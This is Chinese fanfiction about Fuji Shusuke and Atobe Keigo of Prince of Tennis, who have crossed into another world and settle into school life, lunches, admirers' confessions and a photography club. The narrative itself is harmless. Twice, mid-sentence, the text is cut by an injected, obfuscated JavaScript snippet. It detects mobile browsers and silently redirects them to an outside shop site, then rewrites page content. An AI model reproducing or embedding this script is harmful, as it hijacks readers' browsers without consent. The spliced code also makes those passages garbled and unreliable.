“嗯。”不二说,“一直都是。” “看来咱们班又来了一个高人气选手了。哎不二,你能不能别戴那丑丑的眼镜了啊,这样下去的话,迹部景吾会把你的人气王抢了的。”无论是作为不二的朋友,还是基于自己的审美,胜郎都更喜欢温柔精致的不二。这位迹部景吾太强势了,有点只能仰望无法接近的感觉。 “胜郎,他是我好朋友。”不二周助观察着迹部的情况,看他有没有不适应这热情的氛围,但试试看了冰帝帝王完全不在意这种“小场面”。 “好吧好吧。”胜郎嘟着嘴回到自己座位。 上课铃响了。森本老师走进教室,看到迹部的时候愣了一下,然后清了清嗓子。 “同学们,这位是今天转来的新同学,迹部景吾。因为一些特殊原因,他从今天起加入我们班级。大家要好好相处。” 迹部站在讲台上,微微鞠了一躬,动作优雅,角度精准,不多不少。 “迹部同学的座位……”森本老师看了看教室,“就安排在不二同学附近吧。不二同学后面那个位置是空的。” 迹部拿起书包,走过教室的过道。他的每一步都走得很稳,皮鞋踩在地板上发出有节奏的声响。所有人的目光都追随着他,但他只看着不二周助的方向。 不二转过头,对迹部笑了笑。迹部微微点头,在他身后坐了下来。 “不二。”迹部小声说。 “嗯?” “这个班级的审美还可以。” 不二忍着笑,转回去看黑板。 下课铃响的瞬间,迹部的座位被团团围住。 这和当初不二转学来的场景一模一样,不,甚至更夸张。围过来的人更多,问题更密集,目光更热烈。好几个男生的脸上带着明显的红晕,眼神亮得像灯泡。 “迹部同学,你从哪里转来的?” “迹部同学,你以前是哪个学校的?” “迹部同学,你网球很厉害吗?我们学校网球部很强的!” “迹部同学,你有没有男……” 最后一个问题没有问完,因为问问题的人被旁边的人捂住了嘴。 迹部坐在座位上,姿态放松,面对这么多人的包围没有丝毫慌乱。他靠在椅背上,右手搭在桌面上,食指轻轻敲击着桌面。 “一个一个来。”迹部说,“本大爷可没有同时回答十个问题的习惯。” 他的语气不算温和,甚至带着一种居高临下的意味,但围着他的人不但没有退缩,反而更加兴奋了。 “好帅……”不二听到身后有人小声说。 不二转过头,看到说话的是一个男生,长得清清秀秀的,戴着眼镜,耳朵红得像要滴血。 他在心里又叹了一口气。 迹部应对这些人的方式和不二完全不同。不二的方法是温柔地保持距离,用微笑和礼貌筑起一道看不见的墙。而迹部的方法直接,非常直接。 “你叫什么名字?”一个男生问。 “迹部景吾。” “我是问你……” “本大爷说了,迹部景吾。”迹部的目光扫过那个男生,“记住这个名字就够了。” 那个男生的脸一下子红了。 “迹部同学喜欢什么样的类型?”另一个男生鼓起勇气问。 教室里安静了一秒。所有人的目光都集中在迹部身上。 迹部靠在椅背上,右手食指在桌面上敲了两下。 “本大爷喜欢的人,”迹部说,声音不紧不慢,“首先要足够优秀。不是那种表面上的优秀,而是骨子里的、无论在任何环境下都能发光的优秀。其次,要有自己的坚持,最后……” 他停顿了一下。 “最后,要能配得上本大爷。” 教室里又安静了。所有人都被这套说辞震住了。 不二坐在前面,没有回头。但他的肩膀微微动了一下,像是在忍笑。 胜郎凑到不二耳边,小声说:“不二,你这个朋友……真的好厉害啊。” “嗯。”不二说,“他一直都这样。” 一上午的时间,迹部景吾的名字传遍了整个国中部。 不二和迹部一起走在走廊上的时候,能感觉到从各个方向投来的目光。这些目光有落在不二身上的,但更多的是落在新同学迹部身上的。 “不二,”迹部走在不二旁边,声音只有两个人能听到,“有人在看本大爷。” “我知道。” “很多人在看本大爷。” “我知道。” “男生也在看本大爷。” 不二终于转过头,看着迹部。迹部的表情很平静,但眉头微微皱着。 “现在你明白我为什么戴眼镜了吧?”不二说。 迹部看了他一眼,然后伸出手,摘下了不二脸上的黑框眼镜。 “你干什么?”不二下意识地想去拿回来。 “别动。”迹部把眼镜举高了一点,仔细看了看不二的脸,“你的眼睛还是露出来比较好看。这副破眼镜配不上你。” “迹部……” “不过,”迹部把眼镜还给不二,声音低了一些,“本大爷现在理解你为什么一定要戴了。” 不二重新戴上眼镜,没有说什么。 午休的时候,不二带着迹部去了他常去的那个图书馆角落。那两排哲学书之间的缝隙依然存在,刚好能塞进两把椅子。 “你就呆在这?”迹部看了看周围的环境,皱着眉坐了下来。 “嗯。这里没人来。” “确实没人来。”迹部环顾四周,目光扫过书架上那些落满灰尘的哲学书,“这些书多久没人翻过了?” “大概从我来了之后就没有。” 不二从书包里拿出两个便当盒。这是他昨晚做的,迹部今天入学,他特意多准备了一些。迹部接过便当盒,打开盖子,看到里面整齐摆放的炸虾、厚蛋烧和饭团。 “这是你做的?” “嗯。” 迹部夹起一块厚蛋烧,咬了一口。他嚼了嚼,表情有些惊讶。 “怎么样?”不二问。 “好吃”迹部说,“我没想到你的厨艺这么好。不过……” “不过什么?” “你每天都是一个人在这里吃饭?” “嗯。” “从转学过来到现在?” “嗯。” 迹部放下筷子,看着不二。不二正低着头吃饭,栗色的头发垂在耳边,黑框眼镜的镜片在图书馆的灯光下反着光。他的吃相很安静,动作很轻,像是在尽量不打扰周围的环境,尽管周围根本没有人。 “从今天起,”迹部说,“本大爷陪你在这里吃。” 不二抬起头,看着迹部。迹部的表情很认真,深蓝色的眼睛里没有戏谑,没有调侃,只有一种笃定的、不容拒绝的认真。 “好啊。”不二笑了,“那以后我就把你的午饭包了。” “本大爷也可以做。”迹部说。 不二愣了一下,“你会做饭?” “当然。”迹部哼了一声,“本大爷虽然家里有厨师,但基本的烹饪技能还是有的。这是精英教育的一部分。” “那改天你来做?” “可以。不过食材要本大爷亲自挑。” “行。” 两个人继续吃饭。这个图书馆是即将废弃的老图书馆,很少会有人来,这也是不二之前能一直躲在这的原因。图书馆的角落里很安静,只有翻动便当盒的细微声响。阳光从窗户的缝隙里透进来,落在两个人之间的地板上,形成一个明亮的三角形。 不二忽然觉得,这个角落好像没有那么逼仄了。 下午的课结束后,不二收拾书包准备和迹部一起回家。他刚站起来,就看到教室门口站着几个男生,正在互相推搡。 “那个……”其中一个被推了出来,手里拿着一封信,脸涨得通红,“迹部同学……” 迹部正在系书包的扣子。他抬起头,看了那个男生一眼。 “什么事?” “这个……请收下!”男生把信递过来,鞠躬的角度几乎达到了九十度。 迹部看着那封信,没有接。 “这是什么?”迹部问,声音平淡。 “是……是……”男生的声音越来越小,“是我写的……” “本大爷知道是你写的。”迹部打断了他,“本大爷问的是,这是什么性质的东西?” 男生的脸更红了。他张了张嘴,一个字都说不出来。 迹部站起来,比那个男生高了将近一个头。他低头看着对方,深蓝色的眼睛里没有任何表情。 “本大爷上午在自我介绍的时候说过了。”迹部说,声音不大,但每个字都很清晰,“本大爷喜欢的人,要足够优秀,要有自己的坚持,要能配得上本大爷。” 男生愣住了。 “你觉得,你符合哪一条?”迹部问。 男生的脸色从红变白。他握着信的手在发抖,嘴唇也在发抖。 不二站在旁边,看着这一幕。他想说点什么缓和一下气氛,但他知道迹部说的是对的。在这个世界里,“温柔的拒绝”等于“还有机会”。迹部的做法虽然直接,但可能是最有效的。 “对、对不起……”男生低声说,把信收了回去,转身跑出了教室。 教室里安静了几秒。其他几个原本也想上来递信的男生面面相觑, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17494668|202424||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 慑于迹部所散发出来的由内而外强大气势,最终默默地回到了自己的座位上。 迹部拿起书包,转头看向不二。“走吧。” 不二点了点头,跟着迹部走出了教室。 两个人走在夕阳下的校园里,影子被拉得很长,樱花树的叶子在风中沙沙作响。 “迹部。”不二开口。 “嗯?” “你刚才是不是太直接了?” “直接?”迹部看了不二一眼,“你不是说在这个世界里,温柔的拒绝等于还有机会吗?本大爷只是在用最有效率的方式解决问题。” “可是……” “你是想说,本大爷伤害了那个人的感情?”迹部停下脚步,转过身面对着不二,“不二,你觉得你的方式更好吗?你温柔地拒绝每一个人,但他们根本听不懂话。他们听不懂地继续给你写情书、送礼物,在你的抽屉里塞满信,你觉得这样是好的?” 不二沉默了。 “伤害就是伤害。”迹部说,“不管是用温柔的方式还是直接的方式,被拒绝的感觉都是一样的。区别在于,你的方式会让伤口慢慢溃烂,而本大爷的方式是一刀切下去,疼一下,然后就能愈合。而且,第一次见面就能表白,我不太相信是什么很深的感情。” 夕阳的光线落在迹部的脸上,把他的表情照得很清楚。他的表情很认真,没有平时那种张扬和傲慢,只有一种冷静的、近乎理性的审视。 不二看着迹部,忽然笑了。 “怎么了?”迹部皱了皱眉。 “没什么。”不二说,“只是觉得,你说得对。” “本大爷当然说得对。”迹部哼了一声,转身继续往前走。 不二跟了上去。两个人并肩走在银杏树下,脚步声在安静的校园里轻轻回荡。 “不二。” “嗯?” “以后有人给你递情书,你直接拒绝。” “我尽量。” “不要尽量,是一定。” “这个……我尽量。” 迹部停下脚步,转头看着不二。不二也停下来,回望着他。两个人的目光在夕阳下交汇,不二的眼睛弯成了月牙,迹部的眉头皱成了一个川字。 “你这个人,”迹部说,“有时候真的太温柔了。” “是吗?”不二歪了歪头,“我觉得还好。” 迹部盯着他看了两秒,然后别开了目光。 “走了。”迹部说,加快了脚步。 不二笑着跟上去。 两个人走出校门的时候,一个女生从旁边跑过来,手里拿着一个纸袋。 “那个……不二同学!” 不二停下脚步,转过头。是一个不认识的女生,扎着马尾辫,脸上带着紧张的红晕。 “这个……送给你!”女生把纸袋递过来,“是我自己烤的饼干!请收下!” 不二看着那个纸袋,习惯性地露出了微笑。“谢谢你,不过……” “她送你就收下。”迹部的声音从旁边传来。 不二和那个女生同时愣住了。 迹部走过来,看了一眼那个纸袋,然后看了一眼那个女生。 “你是哪个班的?”迹部问。 “二、二年B组……” “名字?” “田中……田中里美……” “田中同学,”迹部说,“谢谢你的饼干,本大爷替不二收下了。” 他伸出手,接过了纸袋。女生的脸一下子红了,比刚才更红。 “不、不用谢!我做的饼干很多,你们可以分着吃!”女生说完转身就跑,跑了几步还回头看了一眼,然后消失在转角处。 不二看着迹部手里的纸袋,有些哭笑不得。“你不是说不要收吗?” “本大爷说的是不要收男生的。”迹部打开纸袋,拿出一块饼干看了看,“女生送的可以收。” “为什么?” 迹部咬了一口饼干,嚼了嚼。“因为她是女生。在这个世界里,异性恋才是少数群体。她鼓起勇气给你送饼干,比那些男生难多了,而且她也没有纠缠不识趣。” 不二愣了一下。他从来没有从这个角度想过这个问题。 “况且,”迹部又咬了一口饼干,“这个饼干做得还不错。”迹部把纸袋递给不二,“尝尝。” 不二拿出一块饼干,咬了一口。是黄油饼干,酥脆香甜,确实做得很好。 “好吃。”不二说。 “对吧?”迹部又拿了一块,“明天你问问她配方,本大爷回去改良一下。” “你还要改良?” “当然。任何东西都有提升的空间。”迹部把饼干塞进嘴里,拍了拍手上的碎屑,“这才是本大爷的美学。” 不二看着他,忍不住笑了。迹部景吾,即使在异世界,即使身上穿着平价商店买的白衬衫,即使口袋里没有一张能用的银行卡,他还是那个迹部景吾。骄傲、自信、对一切都有着近乎偏执的高要求。 但他也是温柔的,用他自己的方式。 两个人走在回家的路上,夕阳把天空染成了橘红色。路边的便利店里传出音乐声,空气里有晚风带来的花香。 “迹部。” “嗯?” “谢谢你。” “谢什么?” 不二想了想。“谢你穿越过来。谢你今天说的那些话。谢你收下那个女生的饼干。” 迹部沉默了一会儿。 “本大爷说过,”迹部说,声音比平时低了一些,“本大爷不是来旅游的。” “嗯。你是来拯救我的。” “知道就好。” 两个人继续往前走,影子在身后并排延伸。夕阳的光线越来越浓,把整个世界都染成了温暖的橘色。 不二忽然想起一个月前,他一个人走在这条路上,手里捏着一封男生的情书,脑子里一片空白。那时候他觉得这个世界很陌生,很拥挤,很让人喘不过气。 现在迹部走在他旁边,这个世界好像变得空旷了一些,安静了一些。 不二低头看了看两个人几乎并在一起的影子,嘴角微微弯起。 “迹部。” “又怎么了?” “明天我想吃你做的便当。” 迹部看了他一眼,深蓝色的眼睛里有一丝意外,但很快变成了笑意。 “行。”迹部说,“不过食材要本大爷亲自挑。” “好。” “而且本大爷做的便当可不便宜。” “多少钱?” “十万日元。” “太贵了,吃不起。” “那本大爷给你打折。” “打多少?” “看本大爷的心情。” 不二笑了。迹部也笑了。 两个人就这样笑着走在夕阳下,影子在身后越拉越长,直到消失在街道的尽头。 7. 钦佩 入学一周后,迹部景吾已经成了青叶学园无人不知的名字。 无论是国中部学生,还是高中部学生,亦或是学校教职工,都被其华丽形象深入人心。 早晨,不二和迹部并肩走进校门的时候,门卫大叔对两人点头招呼。不二微笑回礼,迹部则微微颔首,姿态依然像国王巡视领地。 经过这几天的相处,他们两人都有了些许变化,对这个新世界更加熟悉。不二情绪不再绷得那么紧,偶尔还会跟迹部开几句男同玩笑。 “不二,你今天的领带歪了。”教室前迹部伸手把不二的领带正了正。 “谢谢,我都没注意。”不二低头看了看,“你什么时候开始注意这种细节了?” “本大爷一直都很注意。”迹部收回手,“只是你以前没跟本大爷走这么近,没发现而已。” 不二想了想,好像确实是这样。在原来的世界里,他和迹部是球场上的对手,偶尔在合宿或比赛中碰面。他们从来没有像现在这样,每天一起上学、一起吃午饭、一起回家、住在同一个屋檐下。 这种近距离的相处让不二看到了迹部的另一面。他会早起半小时打理头发,即使这个世界没有人认识他;他会在做便当的时候把食材切得大小均匀,摆盘整齐得像艺术品;他会在晚上看书的时候戴着眼镜,一副真正的银框眼镜,和不二那副百元店的黑框完全不同。 “你这副眼镜是真的?”不二第一次看到的时候问。 “当然。”迹部说,“平时不戴,看书时戴戴保护眼睛。” “难怪你之前说我眼镜品位差,你自己的倒是不错。” “当然。本大爷的眼镜是手工定制的。”迹部推了推镜框,“虽然这个世界没有那个品牌,但本大爷在商城找到了一副差不多的。远远比不上我之前那副,但好歹能用。” 不二当时笑了笑,没有反驳。他承认迹部的品位确实挺好,但那副黑框眼镜他依然每天戴着,不过效果在逐渐减弱。 不二发现,自从迹部来了之后,关注他的人反而变多了。没有因为迹部的到来被抢风头,反而因为“不二周助身边那个超帅的新同学”成了一个话题,连带着不二也被重新放进了大家的视野。 “不二同学和迹部同学关系真好呢。”课间的时候,坐在前排的女生小林转过头来,笑眯眯地看着他们。 不二正在整理笔记本,闻言抬起头。“嗯,我们是老朋友。” “老朋友?”小林的眼睛亮了起来,“认识很久了吗?” “算是吧。”不二没有细说。他总不能说“我们是从另一个世界一起穿越过来的”。 迹部坐在后面,正在看一本英文原版书。他听到不二的话,翻书页的手顿了一下,但没有抬头。 “迹部同学以前是什么学校的呀?”小林又问。 “冰帝。”迹部头也不抬地说。 “冰帝?没听说过……” “你没听说过的东西很多。”迹部翻过一页书,语气平淡。 小林被噎了一下,讪讪地转回去了。 不二转过头,看了迹部一眼,用眼神说“你能不能温柔一点”。迹部抬了抬眼皮,用眼神回“本大爷已经很温柔了”。 这种无声的交流他们已经进行过很多次了。不二也不知道从什么时候开始,他逐渐开始能清晰读懂迹部的眼神。也许是因为他们每天待在一起的时间太长了,从早到晚,除了睡觉几乎形影不离。 午休的时候,不二和迹部照例去了图书馆的角落。 这个角落现在成了他们的“专属领地”。不二甚至从家里带了一块小坐垫放在椅子上,迹部则带了一个便携式的咖啡壶,他坚持不在午休时喝速溶咖啡。 “你今天拒绝了几个人?”不二打开便当盒,随口问道。 “三个。”迹部说,把咖啡壶放在桌上,等水烧开。 “三个?比昨天少了。” “因为本大爷的名声已经传开了。”迹部的语气里带着一丝得意,“现在大家都知道,迹部景吾不是随便什么人都能靠近的。” 不二笑了笑,夹起一块厚蛋烧。今天是迹部做的便当,他每周做两次,不二做三次,周末出去吃。迹部的便当摆盘精美,食材搭配讲究,连酱汁都是自己调的。 “你什么时候学的烹饪?”不二问。 “小学的时候。”迹部说,“向家里的厨师请教的。本大爷觉得,作为迹部家的继承人,连基本的烹饪都不会,太不华丽了。” “所以你学了很多东西?” “很多。”迹部把烧开的水倒进咖啡壶,动作流畅优雅,“网球、骑马、小提琴、钢琴、击剑、花艺、茶道……本大爷的课程表从早上六点排到晚上九点。” 不二想象了一下一个小学生每天上十几个小时课的画面,觉得有些不可思议。“你不累吗?” 迹部思考了一秒。“还行吧。”他说,“但本大爷是迹部景吾。” 这句话不二听他说过很多次。但此刻,在这个安静的图书馆角落里,他看着迹部认真冲泡咖啡的侧脸,忽然觉得这句话的分量和以前不一样了。 “迹部。” “嗯?” “你小时候有朋友吗?” 迹部的手停了一下。“你问这个干什么?” “就是好奇。”不二说,“你每天那么忙,还有时间交朋友吗?” 迹部把咖啡壶放好,靠在椅背上。他看着窗外,银杏树的叶子已经开始泛黄,在阳光下闪着金色的光。 “小时候我在英国长大,”迹部说,“但来到冰帝后忍足、向日、桦地……本大爷对他们还不错。” “嗯。”不二点点头,“他们也很信任你。” “你呢?”迹部转过头,看着不二,“你在青学有朋友吗?” “有啊。”不二笑了,“英二、大石、乾、手冢……还有菊丸他们。青学的大家都很照顾我。” “手冢也算朋友?”迹部挑了挑眉,“那个冰山?” “手冢只是不善表达。”不二说,“他其实很关心每个人的。” 迹部哼了一声,没有评价。他倒了两杯咖啡,把其中一杯推到不二面前。 “这是低咖啡因的。”迹部说,“本大爷特意买的。你中午喝这个,下午不会犯困。” 不二愣了一下。他端起杯子,抿了一口。味道香醇,带着淡淡的坚果香。 “好喝。”不二说。 “当然。”迹部也端起杯子,“本大爷挑的东西不会差。” 不二捧着杯子,感受着掌心传来的温度。他看着迹部,忽然觉得心里有一种说不清的感觉。不是感动,或者说,不只是感动。而是一种更复杂的、他暂时还无法命名的情绪。 他把这种感觉归结为“有一个靠谱的朋友真好”。 下午第一节课结束后,一个高年级的男生出现在教室门口。 “不二周助同学在吗?” 不二抬起头。站在门口的男生穿着高中部的制服,胸前别着一个小巧的徽章,是一台相机的图案。 “我就是。”不二站起来,走到门口。 男生打量了不二一眼,然后露出一个友好的笑容。“我是高中部摄影社的社长,叫野村拓也。听说你对摄影很感兴趣?” 不二有些意外,他确实喜欢摄影,在原来的世界里就经常带着相机拍照。穿越过来之后,他也靠参加摄影比赛赚了一些生活费。但他没有在学校里主动提起过这件事。 “你怎么知道的?”不二问。 “之前校刊征集照片,你投过稿对吧?那张港东湾日落的照片,构图和光影都很出色。”野村说,“我们摄影社的顾问老师注意到了,强烈要求让我来邀请你加入。” 不二想起来了,那是他刚穿越过来不久的时候,校刊在征集学生摄影作品,他投了一张在港东湾拍的照片。当时只是想试试看,没想到会被注意到。 “摄影社……”不二想了想,“我考虑一下。” “有什么好考虑的?”野村笑着说,“我们社很轻松的,每周活动一次,主要就是一起出去拍照、交流技巧。你来了肯定不会后悔。” 摄影确实是他的爱好,但此时此刻不应该把自己的爱好放在寻找回家方法之前。不二还在犹豫,身后传来迹部的声音。 “感兴趣就去。”迹部不知道什么时候走到了不二身后,“还可以找点乐趣。” 野村看到迹部,眼睛亮了一下。“你是……迹部景吾?转学来的那个?” “嗯。”迹部点了点头。 “你有没有兴趣也加入摄影社?你的气质很适合当模特……” “没兴趣。”迹部干脆地拒绝了。 野村有些遗憾,但很快又把注意力转回不二。“怎么样,不二同学?这周五放学后有社团活 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17494669|202424||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动,你可以先来体验一下。” 不二想了想,点了点头。“好的,我会去看看的。” 野村高兴地拍了拍不二的肩膀。“那说定了!周五见!” 他走后,不二回到座位上。迹部跟在他身后坐下。 “去不去?”迹部问。 “到时候去看看吧,”不二说,“先体验一下。” 迹部没有说什么,但他看着不二的眼神里,有一种自己也没有注意到的柔软。 放学后,不二和迹部一起走出教室,走廊上有人叫住了迹部。 “迹部同学!请等一下!” 一个穿着学生会制服的高个子男生快步走过来。他的胸前别着学生会的徽章,领带系得整整齐齐,看起来比普通学生多了一分干练。 “我是高中部学生会的副会长,叫高桥诚一。”男生自我介绍道,目光在迹部脸上停留了一秒,然后迅速移开,“我们想邀请你加入学生会。” 迹部停下脚步,看着高桥。 “学生会?”迹部的语气里带着一丝兴趣,“做什么的?” “主要负责学校活动的策划和组织,以及学生意见的收集和反馈。”高桥说,“你的领导能力和气质非常出众,我们觉得你非常适合学生会。如果你愿意,可以直接跳过干事直接从副部长做起,以后……” “不用了。”迹部打断了他。 高桥愣住了。 “本大爷对你们的学生会没有兴趣。”迹部说,“本大爷不喜欢被规则束缚,也不喜欢替别人处理琐事。学生会的工作不适合本大爷。” “可是你的能力……” “本大爷的能力是用来做大事的。”迹部的下巴微微抬起,“如果有一天本大爷要组织什么活动,那一定是以本大爷的名义、按照本大爷的标准来做的。不是替别人做事,而是让别人参与本大爷的计划。你明白吗?” 高桥张了张嘴,一时说不出话来。 不二站在旁边,看着高桥的表情心里有些同情。迹部说话的方式确实不太留情面,但他说的都是实话。迹部有自信说出这种话,也有能力实现自己说出的话。 “好吧……”高桥勉强笑了笑,“如果你改变主意,随时可以来找我。” “不会改变的。”迹部说完,转身走了。 不二跟上他,两个人一起走下楼梯。 “你拒绝得也太干脆了。”不二说。 “本大爷不喜欢浪费时间。”迹部说,“既然没兴趣,就直接说没兴趣。拖拖拉拉的,不是本大爷的风格。” “嗯,也是。” 两个人走出教学楼,夕阳的余晖洒在校园里,把一切染成了温暖的橘色。不二拿出相机,对着天空拍了一张。 “又在拍?”迹部问。 “嗯,今天的晚霞很好看。”不二看着相机屏幕上的照片,满意地点了点头,“光线刚好。” 迹部凑过来看了看。“构图还可以,但相机曝光有点过。” “是吗?”不二把相机递给迹部,“你来看看。” 迹部接过相机,熟练地调整了一下参数,然后举起相机对着天空拍了一张。他把相机还给不二,不二看了看新拍的照片,确实比刚刚那张好,光线的层次更丰富,云的质感更细腻。 “你还会摄影呢?”不二有些惊讶。 “学过一点。”迹部说,“本大爷小时候学过绘画,对构图和色彩有基本的理解。摄影和绘画在某种程度上是一样的,都是对光线的捕捉和表达。” 不二看着迹部,忽然觉得这个人真的很厉害。虽然他一直都知道迹部很厉害,但是这种由内而外的钦佩还是第一次。 “怎么了?”迹部察觉到不二的目光。 “没什么。”不二笑了笑,“只是觉得,你真的很优秀。” 迹部愣了一下,然后别开了目光,但语气还是那副理所当然的样子。“当然。本大爷一直都很优秀。” 不二没有拆穿他。他举起相机,对着迹部按下了快门。 “你干什么?”迹部皱了皱眉。 “拍你啊。”不二说,“你的侧脸在夕阳下很好看哦。” 迹部张了张嘴,想说什么,但最终只是哼了一声,加快脚步往前走了。 不二笑着跟上去。 相机屏幕里迹部的侧脸轮廓分明,光影恰到好处,表情毫不设防,带着窘迫与惊讶。 8. 愧疚 周五下午最后一节课的下课铃响起,不二开始收拾书包。今天他应邀去参观摄影社日常。 “几点结束?”迹部坐在他身后,手里的英文原版书刚好翻到最后一页。 “摄影社社长说大概一个半小时。”不二把相机放进书包侧袋,“你不用等我,我自己回去就行。” 即使两人是异世界彼此最熟悉的人,不二周助也不想因为自己打扰迹部的生活。摄影是他个人的兴趣,迹部宝贵的时间应该放在自己身上。 迹部合上书,看了他一眼。“本大爷说了去接你。” 迹部景吾并不如不二周助所想。即使来到这个异世界,关心不二周助依旧是他的潜意识行为。 无论是得知不二独自一人在空无一物的情况下在这个异世界生活,还是始终戴着的黑框眼镜,亦或是不二那太过温柔的性格,他都不希望自己长时间远离不二。 “我知道,但一个半小时太久了。你最近不是很忙吗,你可以在家……” “本大爷说了去接你。”迹部重复了一遍,语气不容置疑。 不二无奈地笑了笑,他感动于迹部的关照。“好吧。那我会准时结束在校门口等你。” “嗯。” 不二背上书包,朝教室门口走去。 摄影社的活动教室在高中部教学楼的三层。不二沿着走廊走过去的时候,能听到各个教室里传来的社团活动声。乐团部的管乐声、美术社的讨论声、还有某个教室里传来的欢笑声。 他在一扇贴着“摄影社”标牌的门前停下,轻轻敲了敲门。 “来了来了!”门被拉开,野村拓也的笑脸出现在门口,“不二同学!快进来!” 教室里面的空间比不二想象的要大。两排长桌靠墙摆放,上面堆着各种摄影器材、相册和杂志。靠窗的位置有一个简易的摄影棚,背景布是纯黑色的,几盏摄影灯安静地立在旁边。墙上贴满了照片,风景、人像、静物,各种风格都有。 教室里已经坐了五六个人,野村拍了拍手,把大家的注意力集中过来。 “各位,这就是我之前提到的不二周助同学,国中部三年A组,之前校刊那张港东湾日落的作者。” 随着野村拓也的介绍,摄影社社员们纷纷转过头来打量不二,眼里满是好奇。 不二微笑着打了招呼,在一个空位上坐下。 “今天的活动比较简单,”野村说,“大家自由活动,今天主要是让不二同学了解一下我们社团的情况。不二同学,我先给你介绍一下我们社的主要活动。” 野村拿出一份资料递给不二,上面详细列出了摄影社的年度计划。不二快速浏览了一遍,每周一次社团活动,每月一次外拍,每学期一次校内展览,每年参加一次全国性的摄影比赛。以上活动自愿参与。 “听起来还挺充实的。”不二说。 “当然。”野村笑了笑,“我们社虽然人不多,但大家的水平都很高,属于是优中选优才能加入摄影社。去年的全国高中生摄影大赛,我们社基本人手一份奖项。” 不二点了点头,在观察周围环境时被墙上的一张照片吸引了注意。一张黑白人像,拍摄了一个老人的侧脸。 光线从左侧打过来,把皱纹的纹理照得很清楚,每一道皱纹都像在讲述一个故事。 “这张是谁拍的?”不二指了指那张照片。 “那张啊,”野村顺着他的手指看过去,“是前社长的作品。他现在已经毕业了,考上了首都艺术大学。” “拍得真好。” “你的眼光不错。”一个戴着贝雷帽的男生开口了,他看起来比不二大一两岁,应该是高中部的,“那张照片是我们社目前为止最好的作品之一。不过嘛……” 他顿了顿,目光在不二脸上转了一圈。 “我更好奇的是你的照片。那张港东湾日落的构图很成熟,光影处理也很到位。你学摄影多久了?” “不算太久。”不二说,“就是喜欢,平时随便拍拍。” “随便拍拍就能拍出那种水平?”贝雷帽男生挑了挑眉,“你太谦虚了。” 其他几个人也纷纷围了过来。 不二发现摄影社的成员都很纯粹,纯粹地喜爱着摄影。并且他们的眼神很专注,看人时不是那种带着占有欲的打量,而是一种职业性的、审视的、捕捉细节的观察。 他们在看不二的脸。 不是看“这个人好不好看”,而是看“这张脸的光影结构适不适合拍摄”。 “不二同学,”一个扎着马尾辫的女生开口了,她的胸前别着一台老式胶片相机,“你有没有兴趣当模特?” 不二愣了一下,“模特?” “是这样的,”野村看了看说话的女生,纠结了一下还是接过话,“下个月不是文化祭吗?我们社打算做一个摄影展,其中有一个系列是人像。我们一直在找合适的模特,但一直没有找到满意的……” “虽然之前就听过你的名字,但今天一看到你,”马尾辫女生接着说,“我觉得你就是我们想要的人。” “你的面部结构很好,”贝雷帽男生也补充道,“颧骨、下颌线、鼻梁的弧度……都很上镜。而且你的气质很特别,温柔中带着一种疏离感,这种矛盾感拍出来会很有张力。” 不二被这一通专业分析说得有些招架不住,他下意识地扶了扶眼镜。 “抱歉,”不二说,“我不想当模特。” “为什么?”马尾辫女生有些失望,“你的条件真的很适合……” “我不太习惯被拍。”不二说,语气温和但坚定,“而且我加入摄影社是想拍照,不是被拍。” 野村观察不二的表情,看他并没有任何不满的表情心里一安,拍了拍手。“行了行了,别勉强人家。不二同学能愿意来我们社就已经很好了,模特的事再找别人。” 马尾辫女生还想说什么,被野村用眼神制止了。 不二在心里松了一口气。他不想引人注目,不想被更多人注意到自己的脸,不想在这个世界里招惹麻烦。 接下来的时间里,野村带着不二参观了社团的器材室和暗房。器材室里摆满了各种相机和镜头,从胶片到数码,从入门级到专业级,应有尽有。 暗房则是一个没有窗户的小房间,红色的安全灯亮着,空气中弥漫着药水的味道。 “如果你喜欢胶片摄影,可以用暗房自己冲洗。”野村说,“虽然现在数码更方便,但胶片的那种质感和仪式感,是数码取代不了的。” 不二点了点头,他确实对胶片摄影有些兴趣。 参观结束后,野村把不二拉到一边,压低声音期待说:“怎么样?有没有兴趣正式加入?” 不二犹豫了一下。 他确实喜欢摄影。在原来的世界里,摄影是他的爱好,是他记录生活的方式。穿越过来之后,他一开始靠摄影赚钱,也靠摄影找到了某种精神寄托。 摄影社看起来氛围不错,社员们对摄影的热情和专业程度也超出了他的预期。 但他还有另一个更重要的任务,找到回家的方法。 如果花太多时间在社团活动上,会不会影响他寻找回家的方法? 他现在的首要目标应该是研究穿越的机制、寻找回去的途径,而不是在这里拍照…… “我……”不二开口想要婉拒,但被见势不妙的野村赶紧打断了话头。 野村连忙说:“不二!我知道你在担心什么。国中三年级确实课业压力大,但我们社的活动真的很轻松。你不需要每次都来,有时间就来,没时间就不来。外拍活动也是自愿参加的!你多考虑一下吧。” “而且,”野村补充道,“而且我们社有很多福利。暗房随时可以用,器材随便借,还有专业的指导老师可以答疑。你不是喜欢摄影吗?这些资源对你来说应该很有用。” 野村说的确实有道理。摄影社有更好的器材可以借用,对他来说是好事。 “还有其他福利,”野村笑着说,“我们社每年都有推荐名额,可以参加全国性的摄影比赛。如果拿了奖,对升学很有帮助。虽然你才国三,但提前准备总没坏处。” 不二沉默了几秒。他并不在意升学的问题,毕竟以他的成绩,这个世界上的学校随他挑选。但野村拓也眼神真的很真诚……并且他说活动自愿参与,不会耽搁时间…… “好吧,”不二说,“我加入。” 